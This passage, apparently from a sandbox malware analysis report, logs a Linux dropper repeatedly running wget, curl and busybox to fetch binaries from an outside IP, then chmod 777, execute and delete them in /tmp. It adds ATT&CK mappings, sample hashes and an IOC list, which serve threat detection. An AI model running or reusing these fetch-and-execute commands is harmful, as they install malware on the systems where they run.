  /bin/busybox wget http://216.126.231.240/bins/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:949
- /bin/chmod
  chmod 777 CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  ./CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
  2⤵
  PID:952
- /usr/bin/wget
  wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:955
- /bin/chmod
  chmod 777 EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  ./EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:961
- /bin/chmod
  chmod 777 KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  ./KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:967
- /bin/chmod
  chmod 777 pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  ./pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
  2⤵
  PID:970
- /usr/bin/wget
  wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:973
- /bin/chmod
  chmod 777 LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  ./LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA

Path /tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ

Path /tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

pJYFBN6KvRex18QQSOcQchBEnjusdRiutS

Path /tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
Size 114B
SHA256 2d1255033a3f5cde3fb430b15d84ad95c1d7d37b25132cd3dcca7c30963e9f12
MD5 546071c6a6aeff34580b4d1a9b35a7c3
SHA1 dc2de298837a86d3bc86e8a328411229d9eccdb6
SHA512 207f333daf98fe653f4f661defd86651cbb50e3482511769d0558d2fd80ce107ec6a519424e05107740a802b444b62445901788d80dde4e8dbc8ee116d5b9be7
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS	733	pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
/tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA	740	LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA
/tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ	749	baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
/tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75	781	CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
/tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl	804	EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
/tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN	810	KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
/tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs	830	bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
/tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF	855	iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
/tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm	861	zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
/tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi	867	9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
/tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz	873	d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
/tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc	879	3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
/tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS	885	vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
/tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac	891	4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
/tmp/iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF	897	iFWapfUqJfcPwBKZpuD4F1lOa46HzjtsgF
/tmp/zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm	903	zBb5Aa3CZCKxwYJBTcKAcrF0pwxo40UwEm
/tmp/9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi	909	9rx8matvV3IP5ulLIsKBHQs6NmoLClg2Wi
/tmp/bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs	915	bMpJhtoXu2awE21OweK3Qzt8qehJqyAtTs
/tmp/3TZH44j23v52izbNuCYHAolYqFZGx0iHkc	921	3TZH44j23v52izbNuCYHAolYqFZGx0iHkc
/tmp/vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS	927	vtSjLgjH8Grx4R1CNlUTfjoBRlxXuolrWS
/tmp/4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac	933	4yE4cl9k9Ag0K0LSdi4JfbmEXuDd3X6xac
/tmp/d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz	939	d19q5EcpTAtMi94mMkQATpc5D8jzng8SBz
/tmp/baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ	945	baTvcsOTgTr55HUvPL0cfFIPFydINb6RSJ
/tmp/CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75	951	CcaM0XdTb8lMBYJ5jZgTUDr5q549HElu75
/tmp/EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl	957	EFLVz7NhCHmcC9MEI84gGZs8mMOknMLqGl
/tmp/KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN	963	KO4L1b1hMDqztQ3WSlG06kW1utHAYyhtQN
/tmp/pJYFBN6KvRex18QQSOcQchBEnjusdRiutS	969	pJYFBN6KvRex18QQSOcQchBEnjusdRiutS
/tmp/LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA	975	LqZTjTtnlUURygko6XIi9wZ9f1iDaxaBsA

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads